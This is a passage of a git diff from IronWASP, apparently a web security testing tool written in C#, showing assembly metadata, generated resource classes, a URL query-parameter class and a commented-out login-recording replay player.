Application.EnableVisualStyles(); + Application.SetCompatibleTextRenderingDefault(false); + Application.Run(new Main()); + } + } +} diff --git a/Iron/Properties/AssemblyInfo.cs b/Iron/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..4b4ea6a --- /dev/null +++ b/Iron/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("IronWASP")] +[assembly: AssemblyDescription("Web application Advanced Security testing Platform")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("Lavakumar Kuppan")] +[assembly: AssemblyProduct("IronWASP")] +[assembly: AssemblyCopyright("Copyright © Lavakumar Kuppan 2015")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[assembly: Guid("40956370-6f0c-4be3-a605-77af1c4892f4")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("0.9.8.6")] +[assembly: AssemblyFileVersion("0.9.8.6")] diff --git a/Iron/Properties/Resources.Designer.cs b/Iron/Properties/Resources.Designer.cs new file mode 100644 index 0000000..ca5a190 --- /dev/null +++ b/Iron/Properties/Resources.Designer.cs @@ -0,0 +1,113 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// Runtime Version:4.0.30319.18051 +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +namespace IronWASP.Properties { + using System; + + + /// + /// A strongly-typed resource class, for looking up localized strings, etc. + /// + // This class was auto-generated by the StronglyTypedResourceBuilder + // class via a tool like ResGen or Visual Studio. + // To add or remove a member, edit your .ResX file then rerun ResGen + // with the /str option, or rebuild your VS project. + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] + internal class Resources { + + private static global::System.Resources.ResourceManager resourceMan; + + private static global::System.Globalization.CultureInfo resourceCulture; + + [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] + internal Resources() { + } + + /// + /// Returns the cached ResourceManager instance used by this class. + /// + [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] + internal static global::System.Resources.ResourceManager ResourceManager { + get { + if (object.ReferenceEquals(resourceMan, null)) { + global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("IronWASP.Properties.Resources", typeof(Resources).Assembly); + resourceMan = temp; + } + return resourceMan; + } + } + + /// + /// Overrides the current thread's CurrentUICulture property for all + /// resource lookups using this strongly typed resource class. + /// + [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] + internal static global::System.Globalization.CultureInfo Culture { + get { + return resourceCulture; + } + set { + resourceCulture = value; + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap camera { + get { + object obj = ResourceManager.GetObject("camera", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap Glass { + get { + object obj = ResourceManager.GetObject("Glass", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap Pause { + get { + object obj = ResourceManager.GetObject("Pause", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap Play { + get { + object obj = ResourceManager.GetObject("Play", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap Stop { + get { + object obj = ResourceManager.GetObject("Stop", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + } +} diff --git a/Iron/Properties/Resources.resx b/Iron/Properties/Resources.resx new file mode 100644 index 0000000..1a93ec5 --- /dev/null +++ b/Iron/Properties/Resources.resx @@ -0,0 +1,137 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + ..\Resources\Pause.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\Stop.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\Play.bmp;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\Glass.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + + ..\Resources\camera.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + \ No newline at end of file diff --git a/Iron/Properties/Settings.Designer.cs b/Iron/Properties/Settings.Designer.cs new file mode 100644 index 0000000..10fbd15 --- /dev/null +++ b/Iron/Properties/Settings.Designer.cs @@ -0,0 +1,26 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// Runtime Version:4.0.30319.239 +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +namespace IronWASP.Properties { + + + [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "10.0.0.0")] + internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { + + private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); + + public static Settings Default { + get { + return defaultInstance; + } + } + } +} diff --git a/Iron/Properties/Settings.settings b/Iron/Properties/Settings.settings new file mode 100644 index 0000000..3964565 --- /dev/null +++ b/Iron/Properties/Settings.settings @@ -0,0 +1,7 @@ + + + + + + + diff --git a/IronWASP/QueryParameters.cs b/Iron/QueryParameters.cs similarity index 96% rename from IronWASP/QueryParameters.cs rename to Iron/QueryParameters.cs index a2390d4..7c0dcd3 100644 --- a/IronWASP/QueryParameters.cs +++ b/Iron/QueryParameters.cs @@ -1,252 +1,264 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.Text; - -namespace IronWASP -{ - public class QueryParameters : Parameters - { - Request Request; - - internal QueryParameters(Request Request) : base() - { - this.Request = Request; - } - internal QueryParameters(Request Request, string URL) : base() - { - this.Request = Request; - this.GetParametersFromString(URL); - } - - //Set method - new public void RawSet(string Name, string Value) - { - base.RawSet(Name, Value, SafeRaw, Encode, Decode); - //base.Set(SafeRaw(Name), SafeRaw(Value)); - this.ProcessUpdate(); - } - new public void Set(string Name, string Value) - { - this.RawSet(Encode(Name), Encode(Value)); - } - - //Set at method - new public void RawSet(string Name, int Position, string Value) - { - base.RawSet(Name, Position, Value, SafeRaw, Encode, Decode); - //base.Set(SafeRaw(Name), Position, SafeRaw(Value)); - this.ProcessUpdate(); - } - new public void Set(string Name, int Position, string Value) - { - this.RawSet(Encode(Name), Position, Encode(Value)); - } - new public void RawSetAt(string Name, int Position, string Value) - { - this.RawSet(Name, Position, Value); - } - new public void SetAt(string Name, int Position, string Value) - { - this.Set(Name, Position, Value); - } - - //Set mutiple - new public void RawSet(string Name, List Values) - { - base.RawSet(Name, Values, SafeRaw, Encode, Decode); - //List Vals = new List(); - //foreach (string Value in Values) - //{ - // Vals.Add(SafeRaw(Value)); - //} - //base.Set(SafeRaw(Name), Vals); - this.ProcessUpdate(); - } - new public void Set(string Name, List Values) - { - List Vals = new List(); - foreach (string Value in Values) - { - Vals.Add(Encode(Value)); - } - this.RawSet(Encode(Name), Vals); - } - - //Add method - new public void RawAdd(string Name, string Value) - { - base.RawAdd(Name, Value, SafeRaw, Encode, Decode); - //base.Add(SafeRaw(Name), SafeRaw(Value)); - this.ProcessUpdate(); - } - new public void Add(string Name, string Value) - { - this.RawAdd(Encode(Name), Encode(Value)); - } - - //Remove method - new public void RawRemove(string Name) - { - base.RawRemove(Name, SafeRaw, Encode, Decode); - //base.Remove(SafeRaw(Name)); - this.ProcessUpdate(); - } - new public void Remove(string Name) - { - this.RawRemove(Encode(Name)); - } - - new public void RemoveAll() - { - base.RemoveAll(); - this.ProcessUpdate(); - } - - //Has method - new public bool RawHas(string Name) - { - //return base.Has(SafeRaw(Name)); - return base.RawHas(Name, SafeRaw, Encode, Decode); - } - new public bool Has(string Name) - { - return this.RawHas(Encode(Name)); - } - - //Get method - new public string RawGet(string Name) - { - //return base.Get(SafeRaw(Name)); - return base.RawGet(Name, SafeRaw, Encode, Decode); - } - new public string Get(string Name) - { - return Decode(this.RawGet(Encode(Name))); - } - - //GetAll method - new public List RawGetAll(string Name) - { - //return base.GetAll(SafeRaw(Name)); - return base.RawGetAll(Name, SafeRaw, Encode, Decode); - } - new public List GetAll(string Name) - { - List Values = this.RawGetAll(Encode(Name)); - for (int i = 0; i < Values.Count; i++) - { - Values[i] = Decode(Values[i]); - } - return Values; - } - - public List RawGetNames() - { - return base.GetNames(); - } - new public List GetNames() - { - List Values = this.RawGetNames(); - for (int i = 0; i < Values.Count; i++) - { - Values[i] = Decode(Values[i]); - } - return Values; - } - - //GetMultis method - new public List RawGetMultis() - { - //return base.GetMultis(); - return base.RawGetMultis(); - } - new public List GetMultis() - { - List Values = this.RawGetMultis(); - for (int i = 0; i < Values.Count; i++) - { - Values[i] = Decode(Values[i]); - } - return Values; - } - - internal string GetQueryStringFromParameters() - { - char Joiner = '&'; - return this.GetStringFromParameters(Joiner); - } - internal void GetParametersFromString(string URL) - { - char Splitter = '&'; - int StartOfQuery = URL.IndexOf("?"); - if (StartOfQuery >= 0) - { - string QueryString = URL.Substring(StartOfQuery + 1); - this.AbsorbParametersFromString(QueryString, Splitter); - } - } - - //new void AbsorbParametersFromString(string RawString, char Splitter) - //{ - // if (RawString.Length > 0) - // { - // string[] RawParameters = RawString.Split(Splitter); - // foreach (string RequestParameter in RawParameters) - // { - // string[] ParameterParts = RequestParameter.Split(new char[] { '=' }, 2); - // if (ParameterParts.Length == 2) - // { - // this.RawAdd(ParameterParts[0].Trim(), ParameterParts[1].Trim()); - // } - // else if (ParameterParts.Length == 1) - // { - // this.RawAdd(ParameterParts[0].Trim(), ""); - // } - // } - // } - // else - // { - // base.RemoveAll(); - // } - //} - - void ProcessUpdate() - { - if (this.Request.FreezeURL) return; - this.Request.UpdateURLWithQueryString(this.GetQueryStringFromParameters()); - } - - internal static string Encode(string Value) - { - return Tools.UrlEncode(Value); - } - - internal static string Decode(string Value) - { - return Tools.UrlDecode(Value); - } - - internal static string SafeRaw(string Value) - { - return Tools.RelaxedUrlEncode(Value); - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP +{ + public class QueryParameters : Parameters + { + Request Request; + + internal QueryParameters(Request Request) : base() + { + this.Request = Request; + } + internal QueryParameters(Request Request, string URL) : base() + { + this.Request = Request; + this.GetParametersFromString(URL); + } + + //Set method + new public void RawSet(string Name, string Value) + { + base.RawSet(Name, Value, SafeRaw, Encode, Decode); + //base.Set(SafeRaw(Name), SafeRaw(Value)); + this.ProcessUpdate(); + } + new public void Set(string Name, string Value) + { + this.RawSet(Encode(Name), Encode(Value)); + } + + //Set at method + new public void RawSet(string Name, int Position, string Value) + { + base.RawSet(Name, Position, Value, SafeRaw, Encode, Decode); + //base.Set(SafeRaw(Name), Position, SafeRaw(Value)); + this.ProcessUpdate(); + } + new public void Set(string Name, int Position, string Value) + { + this.RawSet(Encode(Name), Position, Encode(Value)); + } + new public void RawSetAt(string Name, int Position, string Value) + { + this.RawSet(Name, Position, Value); + } + new public void SetAt(string Name, int Position, string Value) + { + this.Set(Name, Position, Value); + } + + //Set mutiple + new public void RawSet(string Name, List Values) + { + base.RawSet(Name, Values, SafeRaw, Encode, Decode); + //List Vals = new List(); + //foreach (string Value in Values) + //{ + // Vals.Add(SafeRaw(Value)); + //} + //base.Set(SafeRaw(Name), Vals); + this.ProcessUpdate(); + } + new public void Set(string Name, List Values) + { + List Vals = new List(); + foreach (string Value in Values) + { + Vals.Add(Encode(Value)); + } + this.RawSet(Encode(Name), Vals); + } + + //Add method + new public void RawAdd(string Name, string Value) + { + base.RawAdd(Name, Value, SafeRaw, Encode, Decode); + //base.Add(SafeRaw(Name), SafeRaw(Value)); + this.ProcessUpdate(); + } + new public void Add(string Name, string Value) + { + this.RawAdd(Encode(Name), Encode(Value)); + } + + //Remove method + new public void RawRemove(string Name) + { + base.RawRemove(Name, SafeRaw, Encode, Decode); + //base.Remove(SafeRaw(Name)); + this.ProcessUpdate(); + } + new public void Remove(string Name) + { + this.RawRemove(Encode(Name)); + } + + new public void RemoveAll() + { + base.RemoveAll(); + this.ProcessUpdate(); + } + + //Has method + new public bool RawHas(string Name) + { + //return base.Has(SafeRaw(Name)); + return base.RawHas(Name, SafeRaw, Encode, Decode); + } + new public bool Has(string Name) + { + return this.RawHas(Encode(Name)); + } + + public bool HasValue(string Value) + { + foreach (string Name in this.GetNames()) + { + foreach (string Val in this.GetAll(Name)) + { + if (Val.Equals(Value)) return true; + } + } + return false; + } + + //Get method + new public string RawGet(string Name) + { + //return base.Get(SafeRaw(Name)); + return base.RawGet(Name, SafeRaw, Encode, Decode); + } + new public string Get(string Name) + { + return Decode(this.RawGet(Encode(Name))); + } + + //GetAll method + new public List RawGetAll(string Name) + { + //return base.GetAll(SafeRaw(Name)); + return base.RawGetAll(Name, SafeRaw, Encode, Decode); + } + new public List GetAll(string Name) + { + List Values = this.RawGetAll(Encode(Name)); + for (int i = 0; i < Values.Count; i++) + { + Values[i] = Decode(Values[i]); + } + return Values; + } + + public List RawGetNames() + { + return base.GetNames(); + } + new public List GetNames() + { + List Values = this.RawGetNames(); + for (int i = 0; i < Values.Count; i++) + { + Values[i] = Decode(Values[i]); + } + return Values; + } + + //GetMultis method + new public List RawGetMultis() + { + //return base.GetMultis(); + return base.RawGetMultis(); + } + new public List GetMultis() + { + List Values = this.RawGetMultis(); + for (int i = 0; i < Values.Count; i++) + { + Values[i] = Decode(Values[i]); + } + return Values; + } + + internal string GetQueryStringFromParameters() + { + char Joiner = '&'; + return this.GetStringFromParameters(Joiner); + } + internal void GetParametersFromString(string URL) + { + char Splitter = '&'; + int StartOfQuery = URL.IndexOf("?"); + if (StartOfQuery >= 0) + { + string QueryString = URL.Substring(StartOfQuery + 1); + this.AbsorbParametersFromString(QueryString, Splitter); + } + } + + //new void AbsorbParametersFromString(string RawString, char Splitter) + //{ + // if (RawString.Length > 0) + // { + // string[] RawParameters = RawString.Split(Splitter); + // foreach (string RequestParameter in RawParameters) + // { + // string[] ParameterParts = RequestParameter.Split(new char[] { '=' }, 2); + // if (ParameterParts.Length == 2) + // { + // this.RawAdd(ParameterParts[0].Trim(), ParameterParts[1].Trim()); + // } + // else if (ParameterParts.Length == 1) + // { + // this.RawAdd(ParameterParts[0].Trim(), ""); + // } + // } + // } + // else + // { + // base.RemoveAll(); + // } + //} + + void ProcessUpdate() + { + if (this.Request.FreezeURL) return; + this.Request.UpdateURLWithQueryString(this.GetQueryStringFromParameters()); + } + + internal static string Encode(string Value) + { + return Tools.UrlEncode(Value); + } + + internal static string Decode(string Value) + { + return Tools.UrlDecode(Value); + } + + internal static string SafeRaw(string Value) + { + return Tools.RelaxedUrlEncode(Value); + } + } +} diff --git a/Iron/Recording/Player.cs b/Iron/Recording/Player.cs new file mode 100644 index 0000000..6251430 --- /dev/null +++ b/Iron/Recording/Player.cs @@ -0,0 +1,748 @@ +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP.Recording +{ + /* + public class Player + { + Recording CurrentRecording = null; + + public CookieStore Cookies = new CookieStore(); + + Request LoginCheckRequest = null; + Response LoginCheckResponseWhenLoggedIn = null; + Response LoginCheckResponseWhenLoggedOut = null; + + public Player(Recording Rec) + { + CurrentRecording = Rec; + } + + public void UpdateCookies(Request Req, Response Res) + { + Cookies.Add(Req, Res); + } + + public bool DoLogin(Recording Rec) + { + for (int i = 1; i <= Rec.StepCount; i++) + { + SessionRecordingStep Step = Rec.GetStep(i); + Step.Req = Step.ReferenceSession.Request.GetClone(); + + if (Step.StepType != SessionRecordingStepType.First) + { + if (Step.GetType() == typeof(SessionRecordingSendRequestStep)) + { + SessionRecordingSendRequestStep SendReqStep = (SessionRecordingSendRequestStep)Step; + + bool UpdatedFromLink = false; + bool ParameterUpdated = false; + + if (SendReqStep.UpdateFromLinkSteps.Count > 0) + { + UpdatedFromLink = UpdateFromLink(SendReqStep, Rec); + } + if (!UpdatedFromLink) + { + if(SendReqStep.UpdateParameterSteps.Count > 0) + { + ParameterUpdated = UpdateParameters(SendReqStep, Rec); + } + } + } + else if (Step.GetType() == typeof(SessionRecordingFollowRedirectStep)) + { + SessionRecordingFollowRedirectStep FollowRedStep = (SessionRecordingFollowRedirectStep)Step; + GetRedirect(FollowRedStep, Rec); + } + } + Step.Req.SetCookie(Cookies); + Step.Req.SetSource("Recording"); + Step.Res = Step.Req.Send(); + Cookies.Add(Step.Req, Step.Res); + if (Step.Res.IsRedirect && !Step.ReferenceSession.Response.IsRedirect) + { + bool HasMoreRedirects = true; + Request LastRequest = Step.Req; + Response LastResponse = Step.Res; + int RedirCount = 0; + while (HasMoreRedirects) + { + Request RedirReq = LastRequest.GetRedirect(LastResponse); + RedirReq.SetSource("Recording"); + RedirReq.SetCookie(Cookies); + Response RedirRes = RedirReq.Send(); + Cookies.Add(RedirReq, RedirRes); + LastRequest = RedirReq; + LastResponse = RedirRes; + if (LastResponse.IsRedirect) + { + HasMoreRedirects = true; + RedirCount++; + } + else + { + HasMoreRedirects = false; + } + if (RedirCount > 5) + { + HasMoreRedirects = false; + } + } + } + } + return false; + } + + public bool CheckIfLoggedIn() + { + + return false; + } + + bool UpdateFromLink(SessionRecordingSendRequestStep Step, Recording Rec) + { + foreach (SessionRecordingUpdateFromLinkMinorStep UpdateFromLinkStep in Step.UpdateFromLinkSteps) + { + for (int i = 1; i <= Rec.StepCount; i++) + { + SessionRecordingStep RecStep = Rec.GetStep(i); + if (UpdateFromLinkStep.LinkSourceLogId == RecStep.ReferenceSession.LogId) + { + if(RecStep.Res != null) + { + if (UpdateFromLink(Step, RecStep.ReferenceSession.Request, RecStep.ReferenceSession.Response, RecStep.Req, RecStep.Res)) + { + return true; + } + } + } + } + + for (int i = 1; i <= Rec.StepCount; i++) + { + SessionRecordingStep RecStep = Rec.GetStep(i); + if (UpdateFromLinkStep.LinkSourceLogId == RecStep.ReferenceSession.LogId) + { + foreach (Session Sess in RecStep.UnrecordedExtraSessions) + { + if (UpdateFromLink(Step, RecStep.ReferenceSession.Request, RecStep.ReferenceSession.Response, Sess.Request, Sess.Response)) + { + return true; + } + } + } + } + } + return false; + } + + + bool UpdateFromLink(SessionRecordingSendRequestStep Step, Request RefReq, Response RefRes, Request Req, Response Res) + { + List LinkClicks = Crawler.GetLinkClicks(Req, Res, Cookies); + + //If this link is the extact match of the one in the recording then use that + foreach (Request LinkClick in LinkClicks) + { + if (LinkClick.FullUrl.Equals(Step.ReferenceSession.Request.FullUrl)) + { + return true; + } + } + + //Find the link nodes associated with the link in the reference session and check which link node from current session matches it best + + //Find the link nodes that match the generated request in the reference session + HtmlAgilityPack.HtmlNodeCollection OldLinkNodes = RefRes.Html.GetNodes("a", "href"); + List OldMatchingLinkNodes = new List(); + if (OldLinkNodes != null) + { + foreach (HtmlAgilityPack.HtmlNode OldLinkNode in OldLinkNodes) + { + if (OldLinkNode.Attributes["href"] != null) + { + string Url = Step.ReferenceSession.Request.RelativeUrlToAbsoluteUrl(Tools.HtmlDecode(OldLinkNode.Attributes["href"].Value)); + if (Step.ReferenceSession.Request.FullUrl.Equals(Url)) + { + OldMatchingLinkNodes.Add(OldLinkNode); + } + } + } + } + + //Order the nodes based on thier ability to be uniquely identified + Dictionary>> OrderedOldMatchingLinkNodes = OrderLinkNodes(OldMatchingLinkNodes); + + HtmlAgilityPack.HtmlNodeCollection LinkNodes = Res.Html.GetNodes("a", "href"); + List ValidLinkNodes = new List(); + if (LinkNodes != null) + { + foreach (HtmlAgilityPack.HtmlNode LinkNode in LinkNodes) + { + if (LinkNode.Attributes["href"] != null) + { + ValidLinkNodes.Add(LinkNode); + } + } + } + + HtmlAgilityPack.HtmlNode BestMatchedNode = GetBestMatchingLinkNode(OrderedOldMatchingLinkNodes, ValidLinkNodes); + if (BestMatchedNode != null) + { + Step.Req.FullUrl = Req.RelativeUrlToAbsoluteUrl(Tools.HtmlDecode(BestMatchedNode.Attributes["href"].Value)); + return true; + } + + foreach (Request LinkReq in LinkClicks) + { + if(DoLinkRequestsMatch(LinkReq, Step.ReferenceSession.Request)) + { + Step.Req.FullUrl = LinkReq.FullUrl; + return true; + } + } + return false; + } + + bool UpdateParameters(SessionRecordingSendRequestStep Step, Recording Rec) + { + foreach (SessionRecordingUpdateParameterMinorStep UpdateParamStep in Step.UpdateParameterSteps) + { + for (int i = 1; i <= Rec.StepCount; i++) + { + SessionRecordingStep RecStep = Rec.GetStep(i); + if (UpdateParamStep.ParameterSourceLogId == RecStep.ReferenceSession.LogId) + { + if (RecStep.Res != null) + { + if (UpdateParameters(Step, UpdateParamStep, RecStep.ReferenceSession.Request, RecStep.ReferenceSession.Response, RecStep.Req, RecStep.Res)) + { + return true; + } + } + } + } + + for (int i = 1; i <= Rec.StepCount; i++) + { + SessionRecordingStep RecStep = Rec.GetStep(i); + if (UpdateParamStep.ParameterSourceLogId == RecStep.ReferenceSession.LogId) + { + foreach (Session Sess in RecStep.UnrecordedExtraSessions) + { + if (UpdateParameters(Step, UpdateParamStep, RecStep.ReferenceSession.Request, RecStep.ReferenceSession.Response, Sess.Request, Sess.Response)) + { + return true; + } + } + } + } + } + return false; + } + + bool UpdateParameters(SessionRecordingSendRequestStep Step, SessionRecordingUpdateParameterMinorStep ParamUpdateStep, Request RefReq, Response RefRes, Request Req, Response Res) + { + List FormNodes = Res.Html.GetForms(); + + List OldFormNodes = RefRes.Html.GetForms(); + + List OldMatchingFormNodes = new List(); + + foreach (HtmlAgilityPack.HtmlNode OldFormNode in OldFormNodes) + { + if(Crawler.DoesFormNodesMatchRequest(Step.ReferenceSession.Request, OldFormNode)) + { + OldMatchingFormNodes.Add(OldFormNode); + } + } + + Dictionary>> OrderedOldFormNodes = OrderFormNodes(OldMatchingFormNodes); + + HtmlAgilityPack.HtmlNode BestMatch = GetBestMatchingFormNode(OrderedOldFormNodes, FormNodes); + + if (BestMatch != null) + { + Request FormReq = Crawler.GetFormSubmission(Step.Req, BestMatch, Cookies); + UpdateParameter(Step, ParamUpdateStep, FormReq, BestMatch); + return true; + } + else + { + List FormSubs = Crawler.GetFormSubmissions(Req, Res, new CookieStore()); + Request BestMatchReq = GetBestMatchingUrl(Step.Req, FormSubs); + + if (BestMatchReq != null) + { + foreach (HtmlAgilityPack.HtmlNode FormNode in FormNodes) + { + Request FormReq = Crawler.GetFormSubmission(Req, FormNode, new CookieStore()); + if (FormReq.FullUrl.Equals(BestMatchReq.FullUrl)) + { + UpdateParameter(Step, ParamUpdateStep, FormReq, FormNode); + return true; + } + } + } + } + return false; + } + + void UpdateParameter(SessionRecordingSendRequestStep Step, SessionRecordingUpdateParameterMinorStep ParamUpdateStep, Request RequestToUpdateFrom, HtmlAgilityPack.HtmlNode FormNode) + { + IronHtml.FormElement FormEle = new IronHtml.FormElement(FormNode, -1); + //Only update values of hidden fields, the others are user entered values so they remain the same across sessions + if (FormEle.HasInputField(ParamUpdateStep.ParameterName) && FormEle.GetInputField(ParamUpdateStep.ParameterName).ElementType == IronHtml.InputElementType.Hidden) + { + if (ParamUpdateStep.ParameterSection == SessionRecordingRequestSection.Query) + { + Step.Req.Query.Set(ParamUpdateStep.ParameterName, RequestToUpdateFrom.Query.Get(ParamUpdateStep.ParameterName)); + } + else if (ParamUpdateStep.ParameterSection == SessionRecordingRequestSection.Body) + { + Step.Req.Body.Set(ParamUpdateStep.ParameterName, RequestToUpdateFrom.Body.Get(ParamUpdateStep.ParameterName)); + } + } + } + + bool GetRedirect(SessionRecordingFollowRedirectStep Step, Recording Rec) + { + for (int i = 1; i <= Rec.StepCount; i++) + { + SessionRecordingStep RecStep = Rec.GetStep(i); + if (Step.RedirectSourceLogId == RecStep.ReferenceSession.LogId) + { + if (RecStep.Res != null) + { + if (GetRedirect(Step, RecStep.ReferenceSession.Request, RecStep.ReferenceSession.Response)) + { + return true; + } + } + } + } + + for (int i = 1; i <= Rec.StepCount; i++) + { + SessionRecordingStep RecStep = Rec.GetStep(i); + if (Step.RedirectSourceLogId == RecStep.ReferenceSession.LogId) + { + foreach (Session Sess in RecStep.UnrecordedExtraSessions) + { + if (GetRedirect(Step, Sess.Request, Sess.Response)) + { + return true; + } + } + } + } + return false; + } + + bool GetRedirect(SessionRecordingFollowRedirectStep Step, Request Req, Response Res) + { + return false; + } + + HtmlAgilityPack.HtmlNode GetBestMatchingLinkNode(Dictionary>> OrderedOldLinkNodes, List LinkNodes) + { + foreach (string NodeId in OrderedOldLinkNodes["id"].Keys) + { + foreach (HtmlAgilityPack.HtmlNode Node in LinkNodes) + { + if (Node.Attributes["id"] != null && Node.Attributes["id"].Equals(NodeId)) return Node; + } + } + foreach (string NodeName in OrderedOldLinkNodes["name"].Keys) + { + foreach (HtmlAgilityPack.HtmlNode Node in LinkNodes) + { + if (Node.Attributes["name"] != null && Node.Attributes["name"].Equals(NodeName)) return Node; + } + } + foreach (string NodeAttrs in OrderedOldLinkNodes["attrs"].Keys) + { + foreach (HtmlAgilityPack.HtmlNode Node in LinkNodes) + { + if (GetAttributeNameString(Node.Attributes).Equals(NodeAttrs)) return Node; + } + } + + return null; + } + + HtmlAgilityPack.HtmlNode GetBestMatchingFormNode(Dictionary>> OrderedOldFormNodes, List FormNodes) + { + foreach (string NodeId in OrderedOldFormNodes["id"].Keys) + { + foreach (HtmlAgilityPack.HtmlNode Node in FormNodes) + { + if (Node.Attributes["id"] != null && Node.Attributes["id"].Equals(NodeId)) return Node; + } + } + foreach (string NodeName in OrderedOldFormNodes["name"].Keys) + { + foreach (HtmlAgilityPack.HtmlNode Node in FormNodes) + { + if (Node.Attributes["name"] != null && Node.Attributes["name"].Equals(NodeName)) return Node; + } + } + foreach (string NodeAttrs in OrderedOldFormNodes["attrs"].Keys) + { + foreach (HtmlAgilityPack.HtmlNode Node in FormNodes) + { + if (GetAttributeNameString(Node.Attributes).Equals(NodeAttrs)) return Node; + } + } + return null; + } + + bool DoLinkRequestsMatch(Request LinkReq1, Request LinkReq2) + { + if (LinkReq1.Query.Count == LinkReq2.Query.Count) + { + if (LinkReq1.Query.Count == 0) + { + if (LinkReq1.UrlPathParts.Count == 0 || LinkReq2.UrlPathParts.Count == 0) + { + return false; + } + else + { + if (LinkReq1.UrlPathParts.Count == LinkReq2.UrlPathParts.Count) + { + int UrlPathMismatchCount = 0; + for (int i = 0; i < LinkReq1.UrlPathParts.Count; i++) + { + if (!LinkReq1.UrlPathParts[i].Equals(LinkReq2.UrlPathParts[i])) + { + UrlPathMismatchCount++; + if (UrlPathMismatchCount > 1) return false; + } + } + } + } + } + else + { + if (LinkReq1.UrlPath.Equals(LinkReq2.UrlPath)) + { + List LinkReq1Names = LinkReq1.Query.GetNames(); + int ParamMismatchCount = 0; + foreach (string Name in LinkReq2.Query.GetNames()) + { + if (!LinkReq1Names.Contains(Name)) return false; + List LinkReq1Values = LinkReq1.Query.GetAll(Name); + foreach (string Value in LinkReq2.Query.GetAll(Name)) + { 